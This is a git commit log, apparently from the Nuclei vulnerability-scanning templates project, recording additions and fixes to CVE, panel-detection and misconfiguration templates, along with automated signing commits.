Co-authored-by: Chris <[email protected]>
2025-08-17 20:19:34 -03:00
Icaro TorresandChris 386bee6d8a Update http/technologies/bugzilla-detect.yaml
Co-authored-by: Chris <[email protected]>
2025-08-17 20:19:19 -03:00
Icaro TorresandChris 3391d8413d Update http/technologies/bugzilla-detect.yaml
Co-authored-by: Chris <[email protected]>
2025-08-17 20:18:37 -03:00
Chris c16ea96379 Create aem-forms-panel.yaml 2025-08-17 22:19:20 +02:00
Icaro Torres 500119397a Create bugzilla-detect.yaml
Detects a Bugzilla server, official repository for the Bugzilla bug tracking system.
2025-08-17 12:18:35 -03:00
Icaro Torres e9dffc9c99 Create bugzilla-config-exposed.yaml
Because the config.cgi is publicly exposed, it is possible to enumerate main domain and possible users registered on Bugzilla server.
2025-08-17 12:16:58 -03:00
mailler f72e3f1076 Removed name bit in the extractor section
Made the template to only report [grafana-detect] without including the 'version' bit in the name.
The version still gets reported if available.
This makes it neater and consistent.

Old output:
`[grafana-detect:version] [http] [info] https://[redacted].com/login ["11.6.2"]`

New output:
[grafana-detect] [http] [info] https://[redacted].com/login ["11.6.2"]
2025-08-17 17:08:19 +03:00
pussycat0x c7a6693c28 matcher - update 2025-08-17 20:16:33 +07:00
Dhiyaneshwaran 7400296723 fix-template-format 2025-08-17 16:57:44 +05:30
praivesi e827c9c0dd feat: add CVE-2025-55169 Nuclei Template 2025-08-17 19:50:16 +09:00
Ritik Chaddha e7ed681207 update status matcher 2025-08-17 15:25:35 +05:30
Ritik Chaddha 6db9e73347 updated macthers 2025-08-17 15:19:06 +05:30
Dhiyaneshwaran eae524e3b9 fix-format 2025-08-17 13:08:18 +05:30
ghost 5c5a228566 chore: generate templates checksum 🤖 2025-08-17 07:30:04 +00:00
ghost 3a1b99c8b2 chore: sign templates 🤖 2025-08-17 07:29:57 +00:00
Dhiyaneshwaran e717b10f85 Merge pull request #12903 from darses/patch-46
Update fortinet-fortimanager-panel
2025-08-17 00:29:32 -07:00
ivaldivieso 7c65b49a39 Add Checkmk Agent Info Disclosure template 2025-08-17 01:05:24 -03:00
johnk3r 196140fd73 Update nfs-v3-exposed.yaml 2025-08-16 17:19:19 -03:00
johnk3r 5318a7f6ee Create nfs-v3-exposed.yaml 2025-08-16 13:36:10 -03:00
Chris bf5fb23b3a Update fortinet-fortimanager-panel
- Add Shodan/FOFA queries
2025-08-16 17:11:26 +02:00
mmqnym 954826b45a refact: add some robot suggested descriptions and classifications. 2025-08-16 22:05:14 +08:00
ghost 413d167136 chore: generate templates checksum 🤖 2025-08-16 13:30:02 +00:00
ghost 189f0f3ccc chore: sign templates 🤖 2025-08-16 13:29:56 +00:00
pussycat0x 5b0c20a20b Merge pull request #12901 from projectdiscovery/fix-fn
Update swagger-api.yaml (Fix False Negative)
2025-08-16 20:29:30 +07:00
Dhiyaneshwaran 080f6114ea Update swagger-api.yaml (Fix False Negative) 2025-08-16 15:33:56 +05:30
ghost 76ed8254c8 chore: generate templates checksum 🤖 2025-08-16 07:53:38 +00:00
ghost a3f46ca8f2 chore: sign templates 🤖 2025-08-16 07:53:34 +00:00
Dhiyaneshwaran fdb5340197 Merge pull request #12898 from MaineK00n/patch-2
fix: fix typo in CVE-2024-36104.yaml
2025-08-16 00:53:03 -07:00
Dhiyaneshwaran 39ff51a462 Update CVE-2024-36104.yaml 2025-08-16 11:28:05 +05:30
MaineK00n 76d82edd1e fix: fix typo in CVE-2024-36104.yaml 2025-08-16 11:41:14 +09:00
Nuclei Templates Bot 4d01a9d6d9 chore: improve mapproxy-file-read template metadata and descriptions 2025-08-16 02:21:54 +00:00
Nuclei Templates Bot 91cc322b63 improve mapproxy file read template
- Add reference section with MapProxy project links
- Add CWE-22 classification for directory traversal
- Add misconfig tag for better categorization
- Fix shodan query formatting
2025-08-16 01:43:27 +00:00
Dhiyaneshwaran 8151d702b8 Create mapproxy-file-read.yaml 2025-08-16 06:45:04 +05:30
Dhiyaneshwaran 63a0831da0 Create CVE-2025-27888.yaml 2025-08-16 05:11:47 +05:30
ghost 2cd42f9d83 chore: generate new addition list 🤖 2025-08-15 07:28:05 +00:00
ghost d8d1736021 chore: generate templates checksum 🤖 2025-08-15 07:28:00 +00:00
ghost 187eeff30a chore: sign templates 🤖 2025-08-15 07:27:58 +00:00
Ritik Chaddha f48d8293ad Merge pull request #12718 from rxerium/well-known-checks
./well-known/ exposures
2025-08-15 12:57:32 +05:30
ghost ab4bff9d34 chore: generate templates checksum 🤖 2025-08-15 07:23:46 +00:00
Ritik Chaddha 3caf261945 Merge pull request #12791 from Jaenact/add-time-based-sqli
feat(sqli): Add multiple payloads and author to time-based-sqli template
2025-08-15 12:53:23 +05:30
Ritik Chaddha 71ebe9b488 Update nostr-json-exposure.yaml 2025-08-15 12:53:02 +05:30
Ritik Chaddha 235f787acc Update pki-validation-exposure.yaml 2025-08-15 12:51:32 +05:30
ghost 50ebefeba8 chore: sign templates 🤖 2025-08-15 07:05:26 +00:00
ghost 47ba40d5e7 chore: generate new addition list 🤖 2025-08-15 07:05:25 +00:00
ghost 672a800f1d chore: generate templates checksum 🤖 2025-08-15 07:05:17 +00:00
Ritik Chaddha 425ab38d14 Merge pull request #12887 from darses/patch-43
Add espec-web-controller-panel
2025-08-15 12:34:50 +05:30
ghost 90bf006d4e chore: generate templates checksum 🤖 2025-08-15 04:58:23 +00:00
ghost a268b6f160 chore: sign templates 🤖 2025-08-15 04:58:18 +00:00
Dhiyaneshwaran ad54d306d7 Merge pull request #12889 from projectdiscovery/fix-FP-CVE-2019-5128
Fix FP CVE-2019-5127, CVE-2019-5128 & CVE-2019-5129
2025-08-14 21:57:54 -07:00
Ritik Chaddha 009c1d78c6 fix 2025-08-15 09:56:56 +05:30
Dhiyaneshwaran 66cf71131e fix-spacing 2025-08-15 09:56:14 +05:30
Ritik Chaddha e948f24d8e Update CVE-2019-5127.yaml 2025-08-15 09:55:26 +05:30
Ritik Chaddha a2f7f4bcd1 Update CVE-2019-5129.yaml 2025-08-15 09:54:58 +05:30
ghost a5f03590d8 chore: generate templates checksum 🤖 2025-08-15 04:24:28 +00:00
ghost 1f556ef5b9 chore: sign templates 🤖 2025-08-15 04:24:20 +00:00
ghost a5bfac38ae chore: generate CVEs metadata 🤖 2025-08-15 04:24:16 +00:00
Dhiyaneshwaran fec6a2bb80 Merge pull request #12759 from adervis3/main
Improve and Update CVE-2024-36104 and CVE-2024-38856
2025-08-14 21:23:56 -07:00
Ritik Chaddha 9899610305 Fix FP CVE-2019-5128 & CVE-2019-5128 2025-08-15 09:52:52 +05:30
Dhiyaneshwaran 9a5abf73cf Rename contact-form-generator-xss.yaml to CVE-2023-37988.yaml 2025-08-15 09:46:29 +05:30
Dhiyaneshwaran 0fdb0d8b73 adding-author-name 2025-08-15 09:45:35 +05:30
Dhiyaneshwaran 0c04876b81 Update CVE-2022-24990.yaml 2025-08-15 09:42:39 +05:30
Dhiyaneshwaran bcc1926137 Revert "Delete http/cves/2022/CVE-2022-24990.yaml"
This reverts commit 8befbe80b6.
2025-08-15 09:42:09 +05:30
Ritik Chaddha a25efcaaec Update CVE-2024-38856.yaml 2025-08-15 09:41:18 +05:30
Ritik Chaddha dd6a22a659 Update CVE-2024-36104.yaml 2025-08-15 09:39:23 +05:30
ghost 2ca2e723ca chore: sign templates 🤖 2025-08-15 04:08:39 +00:00
ghost e7d13c3bdc chore: generate templates checksum 🤖 2025-08-15 04:08:37 +00:00
Dhiyaneshwaran 6e9759aca7 Merge pull request #12788 from 0x4bdo/patch-2
fix(exposed-pki-cert): tighten matchers and remove root path to reduc…
2025-08-14 21:08:12 -07:00
Ritik Chaddha 3233b88040 added missing slash 2025-08-15 09:03:16 +05:30
Ritik Chaddha c2c1c26d87 Update exposed-pki-cert.yaml 2025-08-15 09:01:40 +05:30
Ritik Chaddha c8e3a14ffd Update contact-form-generator-xss.yaml 2025-08-15 08:40:03 +05:30
ghost 6906ebccc8 chore: generate new addition list 🤖 2025-08-15 02:43:06 +00:00
ghost 85240428b1 chore: generate templates checksum 🤖 2025-08-15 02:43:03 +00:00
ghost 581dce6bc8 chore: sign templates 🤖 2025-08-15 02:43:02 +00:00
ghost 4388c64a26 chore: generate CVEs metadata 🤖 2025-08-15 02:42:58 +00:00
Dhiyaneshwaran 83fbe59262 Merge pull request #12633 from projectdiscovery/pussycat0x-patch-16
Create CVE-2025-6934.yaml
2025-08-14 19:42:33 -07:00
Dhiyaneshwaran 76ded9f419 Merge branch 'main' into well-known-checks 2025-08-14 19:41:28 -07:00
ghost 57b9ff2a24 chore: generate templates checksum 🤖 2025-08-15 02:41:14 +00:00
ghost e29be8f7ed chore: sign templates 🤖 2025-08-15 02:41:12 +00:00
ghost 3a04f32ba7 chore: generate CVEs metadata 🤖 2025-08-15 02:41:09 +00:00
Dhiyaneshwaran 23dfd08b7e Merge pull request #12780 from SeungAh-Hong/add-cve-2025-34073
Add CVE-2025-34073.yaml
2025-08-14 19:40:44 -07:00
Dhiyaneshwaran 4f4d25dc22 Merge branch 'main' into pussycat0x-patch-16 2025-08-14 19:37:31 -07:00
Dhiyaneshwaran df7d439c00 added-flow 2025-08-15 08:07:06 +05:30
ghost d1df3a00ec chore: generate templates checksum 🤖 2025-08-15 02:17:29 +00:00
ghost d4a00ed245 chore: sign templates 🤖 2025-08-15 02:17:22 +00:00
ghost 09ab7f91cb chore: generate CVEs metadata 🤖 2025-08-15 02:17:16 +00:00
Dhiyaneshwaran e7dead45c3 Merge pull request #12816 from oleveloper/http/cves/cve-2022-1995
fix: reduce false positives in CVE-2022-1595.yaml
2025-08-14 19:16:57 -07:00
Dhiyaneshwaran 05b916f580 fix-template-format 2025-08-15 07:37:48 +05:30
ghost 387ed98fed chore: generate new addition list 🤖 2025-08-15 02:01:00 +00:00
ghost 58ca46103a chore: generate templates checksum 🤖 2025-08-15 02:00:59 +00:00
ghost e2e9901bf9 chore: sign templates 🤖 2025-08-15 02:00:54 +00:00
ghost 1d3011e4c8 chore: generate CVEs metadata 🤖 2025-08-15 02:00:48 +00:00
Dhiyaneshwaran 0ae12e8b30 Merge pull request #12817 from s-cu-bot/s-cu-bot
Added CVE-2025-54589 Template
2025-08-14 19:00:28 -07:00
Dhiyaneshwaran 569c8d8954 Merge branch 'main' into add-cve-2025-34073 2025-08-14 18:53:50 -07:00
ghost 427834d8ac chore: generate templates checksum 🤖 2025-08-15 01:47:15 +00:00
ghost 503c3cc3d1 chore: sign templates 🤖 2025-08-15 01:47:14 +00:00
Dhiyaneshwaran 60b1682ca0 Merge pull request #12885 from darses/patch-42
Update ncentral-panel
2025-08-14 18:46:50 -07:00
ghost b235d4ca00 chore: generate templates checksum 🤖 2025-08-15 01:43:15 +00:00
ghost d97cb69082 chore: generate new addition list 🤖 2025-08-15 01:43:10 +00:00
ghost 5ffbe83e2f chore: sign templates 🤖 2025-08-15 01:43:03 +00:00
Dhiyaneshwaran 45b257167a Merge pull request #12832 from mailler0xa/main
Added NVIDIA's Triton Inference Server.
2025-08-14 18:42:40 -07:00
Dhiyaneshwaran 820bab8ff0 fix-template 2025-08-15 07:08:12 +05:30
Dhiyaneshwaran 3ae08531e4 format-fix 2025-08-15 06:51:48 +05:30
Chris fd6c7388ea Add espec-web-controller-panel 2025-08-14 17:47:09 +02:00
mmqnym ffb9cd4445 feat: add template to check openrouter key in files 2025-08-14 21:22:03 +08:00
Vatsal Mangukiya edb0b9f2a0 Merge branch 'main' into add-cve-2023-37988-template 2025-08-14 17:32:48 +05:30
Chris 31632a8cd6 Update ncentral-panel
- Additional Shodan/FOFA queries
- Extract version number
2025-08-14 14:00:36 +02:00
Ritik Chaddha 4222e4d62a Delete network/cves/2020/CVE-2020-0610.yaml 2025-08-14 16:32:30 +05:30
Ritik Chaddha 8befbe80b6 Delete http/cves/2022/CVE-2022-24990.yaml 2025-08-14 16:32:13 +05:30
Ritik Chaddha bbfb1200ba Delete http/cves/2019/CVE-2019-1663.yaml 2025-08-14 16:31:56 +05:30
Ritik Chaddha 2a4cb632a9 fix matchers 2025-08-14 14:47:39 +05:30
ghost 5a565477cc chore: generate templates checksum 🤖 2025-08-14 08:30:01 +00:00
ghost 4140e52178 chore: sign templates 🤖 2025-08-14 08:29:52 +00:00
pussycat0x 769080d7b5 Merge pull request #12679 from projectdiscovery/revert-12664-updated-multiple-payloads-with-flow
Add flow optimization to multiple paylaods/ reqs templates for performance improvement
2025-08-14 15:29:28 +07:00
pussycat0x 27df09588f Merge branch 'main' into revert-12664-updated-multiple-payloads-with-flow 2025-08-14 15:12:26 +07:00
ghost d7c828efe2 chore: generate templates checksum 🤖 2025-08-14 07:40:37 +00:00
Dhiyaneshwaran a16c5df370 Merge pull request #12877 from projectdiscovery/pussycat0x-patch-13
FN - Fix  swagger-api.yaml
2025-08-14 00:40:11 -07:00
pussycat0x d8640e18f2 Merge branch 'main' into revert-12664-updated-multiple-payloads-with-flow 2025-08-14 11:46:15 +07:00
ghost 491d9b04a7 chore: generate templates checksum 🤖 2025-08-14 04:41:01 +00:00
ghost 75883df006 chore: sign templates 🤖 2025-08-14 04:40:59 +00:00
pussycat0x 67a638680c Merge pull request #12882 from projectdiscovery/pussycat0x-patch-15
remove Dup protocol  CVE-2023-24489.yaml
2025-08-14 11:40:33 +07:00
pussycat0x 5ab0376e8e remove Dup protocol CVE-2023-24489.yaml 2025-08-14 11:35:21 +07:00
ghost 910ab168cf chore: generate templates checksum 🤖 2025-08-14 03:31:23 +00:00
ghost 362960f718 chore: sign templates 🤖 2025-08-14 03:31:16 +00:00
Dwi Siswanto 3ad257f372 hotfix(osint): correct redirects and max-redirects placement (#12881)
Signed-off-by: Dwi Siswanto <[email protected]>
2025-08-14 09:00:50 +05:30
pussycat0x 2bf739a426 FN - Fix swagger-api.yaml 2025-08-14 08:06:00 +07:00
ghost 0c4cc78882 chore: sign templates 🤖 2025-08-13 11:46:45 +00:00
Juanrd10 9efb6c597f Update CVE-2025-4123.yaml (#12876)
CVE and CWE added in classification
CVSS metrics fixed
2025-08-13 17:16:19 +05:30
pussycat0x cbef65baf7 minor - changes 2025-08-13 14:12:30 +07:00
Dhiyaneshwaran c77d29a708 fix-spacing 2025-08-13 11:30:08 +05:30
pussycat0x 18e2182a31 Merge pull request #12802 from projectdiscovery/update-readme-workflow
fixed workflow to update other readme files
2025-08-13 12:30:51 +07:00
ghost c493d22b6d chore: generate new addition list 🤖 2025-08-13 00:47:18 +00:00
ghost 3e68c88e07 chore: sign templates 🤖 2025-08-13 00:47:15 +00:00
ghost 11de4699d6 chore: generate templates checksum 🤖 2025-08-13 00:47:13 +00:00
pussycat0x b2f26c7bc4 Merge pull request #12846 from righettod/hyperdx_add
Add detection of HYPERDX data panel instances.
2025-08-13 07:46:48 +07:00
pussycat0x 9ec4396cd5 minor - changes 2025-08-13 07:43:36 +07:00
Sandeep Singh dec92ec6cd Update tests.yml 2025-08-13 03:42:40 +05:30
Dhiyaneshwaran f1033a5b43 Merge branch 'main' into hyperdx_add 2025-08-12 12:31:46 -07:00
Dhiyaneshwaran 1b7b75cdcd added-shodan-query 2025-08-13 00:59:15 +05:30
ghost 706abb4ce3 chore: generate templates checksum 🤖 2025-08-12 19:24:51 +00:00
Dhiyaneshwaran 584a272f89 Merge pull request #12833 from righettod/hangfire_upd
Little update of the "Hangfire" template.
2025-08-12 12:24:23 -07:00
Dhiyaneshwaran afd51ac8bb Merge branch 'main' into hangfire_upd 2025-08-12 12:03:14 -07:00
ghost a2f4f50bde chore: generate templates checksum 🤖 2025-08-12 16:11:25 +00:00
ghost 9555c1f2f6 chore: sign templates 🤖 2025-08-12 16:11:23 +00:00
Prince Chaddha 664bb10484 Merge pull request #12828 from kelu27/fix-gcloud-default-vpc-in-use
fix(gcloud-default-vpc-in-use)  update matcher for default VPC detection
2025-08-12 12:10:59 -04:00
Prince Chaddha 3ba5ce16ab Merge branch 'main' into fix-gcloud-default-vpc-in-use 2025-08-12 12:08:04 -04:00
ghost 60a9ef3613 chore: generate new addition list 🤖 2025-08-12 13:41:29 +00:00
ghost 738eaf7acf chore: sign templates 🤖 2025-08-12 13:41:20 +00:00
ghost b5ccbc02da chore: generate CVEs metadata 🤖 2025-08-12 13:41:18 +00:00
pussycat0x 5b255a0448 Merge pull request #12805 from projectdiscovery/CVE-2025-32430
Create CVE-2025-32430.yaml
2025-08-12 20:40:53 +07:00
Machevalia 6cb5a8501c Merge branch 'main' into main 2025-08-11 12:46:03 -04:00
ghost 7d285996fd chore: generate new addition list 🤖 2025-08-10 04:59:22 +00:00
ghost 024e38f199 chore: sign templates 🤖 2025-08-10 04:59:19 +00:00
ghost 4231d99c19 chore: generate templates checksum 🤖 2025-08-10 04:59:18 +00:00
Dhiyaneshwaran b9e3bd852a Merge pull request #12598 from darses/patch-33
Add huawei-holosense-panel
2025-08-09 21:58:52 -07:00
ghost ae5e5946a7 chore: generate new addition list 🤖 2025-08-10 04:43:25 +00:00
ghost d3a49f6d7e chore: sign templates 🤖 2025-08-10 04:43:20 +00:00
ghost 4c13c9168a chore: generate templates checksum 🤖 2025-08-10 04:43:17 +00:00
Dhiyaneshwaran f54a59f779 Merge pull request #12775 from icarot/main
Create diced-zipline-detect.yaml
2025-08-09 21:42:53 -07:00
Dhiyaneshwaran deee03936f Merge branch 'main' into add-cve-2025-34073 2025-08-09 21:42:37 -07:00
Dhiyaneshwaran d28b02ec36 Merge branch 'main' into CVE-2025-32430 2025-08-09 21:42:07 -07:00
Dhiyaneshwaran 13cc33bace Merge branch 'main' into main 2025-08-09 21:38:08 -07:00
Dhiyaneshwaran 8eef526041 Update and rename zipline-panel-detect.yaml to zipline-panel.yaml 2025-08-10 10:07:41 +05:30
ghost 545c191117 chore: generate new addition list 🤖 2025-08-10 04:35:31 +00:00
ghost 9c61727822 chore: generate templates checksum 🤖 2025-08-10 04:35:25 +00:00
Dhiyaneshwaran a612164dee Merge pull request #12757 from a1baradi/main
Create exposed-venv-dir.yaml
2025-08-09 21:35:01 -07:00
PDTeamX e46a9ed7a5 tag exclusion 2025-08-09 11:54:31 -07:00
Sandeep Singh fbd5fe8170 Merge branch 'main' into CVE-2025-32430 2025-08-09 10:54:45 -07:00
JeonSeongHyeon ce9de3b49d Merge branch 'main' into CVE-2025-51502 2025-08-10 02:24:39 +09:00
JeonSeongHyeon 4cfd5417b4 Merge branch 'main' into CVE-2025-51501 2025-08-10 02:24:24 +09:00
ghost c22767a035 docs: update README 🤖 2025-08-09 00:12:32 +00:00
ghost 704667078f chore: generate templates stats 🤖 2025-08-09 00:11:49 +00:00
songyaeji 337a9fdcd3 Merge branch 'main' into misconfiguration 2025-08-08 20:28:25 +09:00
songyaeji 6fe1460ea8 Merge branch 'main' into pr14-sendmail-smtp 2025-08-08 17:51:08 +09:00
songyaeji 0d9f5486ba Merge branch 'main' into pr12-unnecessary-rpc-check 2025-08-08 17:50:33 +09:00
songyaeji 2efaea2dca Merge branch 'main' into pr11-xinetd-services-checks 2025-08-08 17:50:09 +09:00
songyaeji 6be751c05a Merge branch 'main' into pr10-nis-rcommands-checks 2025-08-08 17:49:42 +09:00
songyaeji ae4db8ec75 Merge branch 'main' into pr9-hosts-nfs-checks 2025-08-08 17:49:15 +09:00
songyaeji 29db122e9f Merge branch 'main' into pr8-cron-dos-checks 2025-08-08 17:48:53 +09:00
songyaeji ae13497195 Merge branch 'main' into pr7-ftp-automount 2025-08-08 17:48:35 +09:00
songyaeji cafca5fe5a Merge branch 'main' into pr6-suid-sgid-check 2025-08-08 17:48:14 +09:00
songyaeji 29012ffb14 Merge branch 'main' into pr5-home-ownerless-worldwrite 2025-08-08 17:47:51 +09:00
songyaeji 599d821e40 Merge branch 'main' into pr4-log-service-file-permissions 2025-08-08 17:47:32 +09:00
songyaeji 847e5bb431 Merge branch 'main' into pr3-sensitive-file-permissions 2025-08-08 17:46:58 +09:00
songyaeji 63e61539b8 Merge branch 'main' into pr2-password-file-protection 2025-08-08 17:46:35 +09:00
songyaeji 21d52ddbbe Merge branch 'main' into pr1-account-policy 2025-08-08 17:44:36 +09:00
songyaeji 1406790939 fix error 2025-08-08 17:35:39 +09:00
ghost 0f569c3724 chore: generate new addition list 🤖 2025-08-08 07:42:35 +00:00
ghost 8bb3b0f48c chore: sign templates 🤖 2025-08-08 07:42:14 +00:00
ghost 29668a08bd chore: generate templates checksum 🤖 2025-08-08 07:42:12 +00:00
Prince Chaddha af731d9873 Merge pull request #12848 from projectdiscovery/fix-validation-run
Fix Validation Run
2025-08-08 00:41:49 -07:00
Dhiyaneshwaran 39a9042e6f Update swagger.json 2025-08-08 12:19:08 +05:30
Dhiyaneshwaran af41f16f82 Rename swagger.yaml to swagger.yml 2025-08-08 12:18:29 +05:30
songyaeji 0782f8af44 Add Sendmail/SMTP and DNS related security check templates 2025-08-08 15:45:50 +09:00
Dhiyaneshwaran 2d29b72e36 fix-matcher 2025-08-08 11:47:09 +05:30
ghost 0d83173b78 chore: generate new addition list 🤖 2025-08-08 05:49:49 +00:00
ghost 3fcd1e7669 chore: generate CVEs metadata 🤖 2025-08-08 05:49:47 +00:00
ghost 4abff79fe5 chore: generate templates checksum 🤖 2025-08-08 05:49:45 +00:00
ghost 521cb53fa3 chore: sign templates 🤖 2025-08-08 05:49:41 +00:00
Dhiyaneshwaran 75211efc5c Merge pull request #12765 from darses/patch-39
Add CVE-2025-8286 - Güralp Systems FMUS
2025-08-07 22:49:17 -07:00
ghost 24466b1617 chore: generate new addition list 🤖 2025-08-08 05:48:01 +00:00
ghost c476272731 chore: sign templates 🤖 2025-08-08 05:47:57 +00:00
Dhiyaneshwaran 46d0e84da0 Create titiler-ssrf.yaml (#12743) 2025-08-07 22:47:30 -07:00
Dhiyaneshwaran 576a9e80c8 fix-template 2025-08-08 11:13:09 +05:30
Dominique RIGHETTO b1e0758b8b Add files via upload 2025-08-08 07:08:54 +02:00
songyaeji 6f627e8c5f Add template to check unnecessary RPC services 2025-08-08 13:55:21 +09:00
songyaeji 4cd6a69eaf Add templates to check Xinetd finger, tftp, and talk service configurations 2025-08-08 13:46:31 +09:00
Lucky0x0d d217c080c0 Added template to detect samesite cookie atrribute not set to strict 2025-08-08 16:43:58 +12:00
songyaeji 0278b303f6 Add templates to check NIS/NIS+ services and R-command configurations 2025-08-08 13:39:07 +09:00
Nabil Irawan f21071241e add CVE-2025-28906.yaml 2025-08-08 03:51:37 +07:00
Nabil Irawan 8f680c4292 Delete http/cves/2025/CVE-2025-28906.yaml 2025-08-08 03:49:08 +07:00
Nabil Irawan 9bd4dc73de add CVE-2025-28906.yaml 2025-08-08 03:44:18 +07:00
Mailler 94cfca0e3e will this fix that dash thingy when viewed online? 2025-08-07 22:29:06 +03:00
songyaeji e2f87ccd94 Add templates to check hosts access control and NFS configuration 2025-08-08 02:36:14 +09:00
songyaeji f8afcc2a55 Add templates to check cron ownership and DoS-vulnerable services 2025-08-08 02:27:38 +09:00
Mailler 9f8d0b882a added extensions as a matcher too 2025-08-07 20:23:17 +03:00
songyaeji 4197cab06f Add templates to check automount service 2025-08-08 02:17:13 +09:00
songyaeji 186215f4ea Add templates to check FTP anonymous access and automount service 2025-08-08 02:16:05 +09:00
songyaeji e7695b8420 Add SUID/SGID sticky bit check template 2025-08-08 01:19:55 +09:00
songyaeji 212d95b095 modify home-env-permission-check.yaml 2025-08-08 01:09:11 +09:00
songyaeji be10c556f4 Add templates for ownerless files, home directory, and world-writable files (PR5) 2025-08-08 01:02:16 +09:00
Dominique RIGHETTO c869888b17 Add files via upload 2025-08-07 17:53:22 +02:00
songyaeji 87662a0b25 Add permission checks for logging and service config files (PR4) 2025-08-08 00:40:22 +09:00
Mailler d67c51d691 removed Shodan and Fofa queries since they aren't accurate 2025-08-07 18:37:30 +03:00
songyaeji 5f1376d3e0 Add sensitive system file permission checks (PR3) 2025-08-08 00:27:20 +09:00
Dhiyaneshwaran 7998ac7469 added additional reference , updated matcher 2025-08-07 19:30:19 +05:30
Luc Charpentier 6927463ca8 fix(gcloud-default-vpc-in-use) update matcher for default VPC detection 2025-08-07 14:56:34 +02:00
Luc Charpentier 61b7223f2e fix(gcloud-public-access-prevention-not-enabled) enhance matchers for public access prevention check 2025-08-07 14:10:53 +02:00
songyaeji 448f89a8e5 Add password file protection and root path check templates (PR2) 2025-08-07 20:50:48 +09:00
songyaeji a41ab0b58e feat: add account policy checks for lockout threshold and password max days 2025-08-07 20:15:13 +09:00
[SeongHyeonJeon]nukunga 4526c60a43 chore: format CVE-2025-51502.yaml for consistency 2025-08-07 20:12:27 +09:00
[SeongHyeonJeon]nukunga 065911de83 fix: format YAML file for CVE-2025-51501 template 2025-08-07 20:10:36 +09:00
[SeongHyeonJeon]nukunga e103866e9e chore: add CVE-2025-51502 template for Microweber CMS XSS vulnerability 2025-08-07 20:01:48 +09:00
JeonSeongHyeon b07b9f36e1 Merge branch 'projectdiscovery:main' into CVE-2025-51501 2025-08-07 19:54:37 +09:00
[SeongHyeonJeon]nukunga 1c0fc04cb1 feat: add CVE-2025-51501 template for Microweber CMS XSS vulnerability 2025-08-07 19:50:05 +09:00
oleveloper 4f947d7f98 fix: reduce false positives in CVE-2022-1595.yaml
- Strengthened cookie matcher to require 'wordpress_logged_in_' instead of generic 'wordpress_'
- Added regex matcher for Location header to only match '/wp-admin/' or '/custom-slug/wp-login.php' paths
- Preserved original metadata, severity, and references
- Reduces false positives on generic WordPress login redirects while retaining detection accuracy for vulnerable HC Custom WP-Admin URL plugin instances
2025-08-06 23:38:15 +09:00
s-cu-bot 23a935b5ed Added CVE-2025-54589 Template 2025-08-06 23:21:08 +09:00
Parth Malhotra af6753d151 Create global-waf-detect.yaml 2025-08-06 16:45:22 +05:30
Mailler 7ed82abe3d added Nvidia Triton Inference Server panel 2025-08-06 12:54:24 +03:00
vats147 c35963d7f9 Add CVE-2023-37988 template for Contact Form Generator XSS 2025-08-06 13:18:00 +05:30
Ritik Chaddha 809d6b68c8 lint fix 2025-08-06 11:38:10 +05:30
ghost 6af99e8e6c chore: generate templates checksum 🤖 2025-08-06 05:53:08 +00:00
ghost 9091c038d6 chore: generate new addition list 🤖 2025-08-06 05:49:38 +00:00
ghost 926628b68a chore: sign templates 🤖 2025-08-06 05:49:33 +00:00
ghost 6314054c04 chore: generate templates checksum 🤖 2025-08-06 05:49:27 +00:00
Dhiyaneshwaran d58c2a333c Merge pull request #12456 from righettod/opensign-add
Add detection of OPENSIGN login panel instances.
2025-08-06 11:19:06 +05:30
Dhiyaneshwaran 7385da9e1e author name update 2025-08-06 11:16:00 +05:30
ghost a4868ed519 chore: generate new addition list 🤖 2025-08-06 05:45:39 +00:00
ghost ccbf15ffd7 chore: sign templates 🤖 2025-08-06 05:45:34 +00:00
ghost 1e3a403675 chore: generate templates checksum 🤖 2025-08-06 05:45:31 +00:00
ghost f8623366ac chore: generate new addition list 🤖 2025-08-06 05:45:24 +00:00
Dhiyaneshwaran 8cdca5fe1f Merge pull request #12756 from darses/patch-38
Create suse-manager-panel.yaml
2025-08-06 11:15:09 +05:30
Dhiyaneshwaran e8a171b47e Merge pull request #12739 from darses/patch-36
Create meddream-dicom-viewer-panel.yaml
2025-08-06 11:14:50 +05:30
ghost 43948c0cd5 chore: generate new addition list 🤖 2025-08-06 05:23:17 +00:00
ghost 727b1b9fa5 chore: generate templates checksum 🤖 2025-08-06 05:23:10 +00:00
Prince ChaddhaandRitik Chaddha 90b568ac31 Swagger UI XSS - CVE-2025-8191 (#12803)
* added CVE-2025-8191

* updated swagger url

* updated urls to payloads

* Update CVE-2025-8191.yaml

---------

Co-authored-by: Ritik Chaddha <[email protected]>
2025-08-05 22:22:45 -07:00
Vatsal Mangukiya a83f3ba430 Merge branch 'projectdiscovery:main' into main 2025-08-06 09:17:36 +05:30
Prince Chaddha 92687f09ec added readme templates 2025-08-05 17:25:39 -07:00
ritikchaddha 50869d255f Create CVE-2025-32430.yaml 2025-08-05 17:12:53 -07:00
Prince Chaddha e0338951ba Merge branch 'main' into update-readme-workflow 2025-08-05 13:14:21 -07:00
pussycat0x d27ea11014 Update CVE-2025-8286.yaml 2025-08-06 01:40:37 +05:30
ghost 92c761d175 chore: sign templates 🤖 2025-08-05 20:08:05 +00:00
ghost fbb6c18a41 chore: generate templates checksum 🤖 2025-08-05 20:08:02 +00:00
284de6413f txt-service-detect updates (#12762)
* txt-service-detect updates

* fix-tag

* revert path change

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
Co-authored-by: PDTeamX <[email protected]>
Co-authored-by: Sandeep Singh <[email protected]>
2025-08-05 13:07:37 -07:00
Prince Chaddha e64cca4a82 fixed workflow to update other readme files 2025-08-05 13:05:44 -07:00
ghost 1645b201f6 chore: generate new addition list 🤖 2025-08-05 19:56:32 +00:00
ghost 0ead39ebdf chore: sign templates 🤖 2025-08-05 19:56:25 +00:00
ghost d0494ecbaa chore: generate CVEs metadata 🤖 2025-08-05 19:56:24 +00:00
Sandeep SinghandDhiyaneshwaran 8f62b35b7a Added template for CVE-2025-48954 (#12800)
* Added template for CVE-2025-48954

* improved matcher and removed comments

* comment update

* added-remediation

* Update CVE-2025-48954.yaml

* removed extra request

---------

Co-authored-by: Dhiyaneshwaran <[email protected]>
2025-08-05 12:56:00 -07:00
ghost 1d6cc4558f chore: generate new addition list 🤖 2025-08-05 19:52:27 +00:00
ghost 61a854d913 chore: generate templates checksum 🤖 2025-08-05 19:52:21 +00:00
ghost 3f434c8beb chore: sign templates 🤖 2025-08-05 19:52:19 +00:00
ghost a75aef55a7 chore: generate CVEs metadata 🤖 2025-08-05 19:52:14 +00:00
pussycat0x 8c20af8a06 Merge pull request #12769 from projectdiscovery/CVE-2025-5394
Create CVE-2025-5394.yaml (Unauthenticated Arbitrary Plugin Upload in Alone Theme)
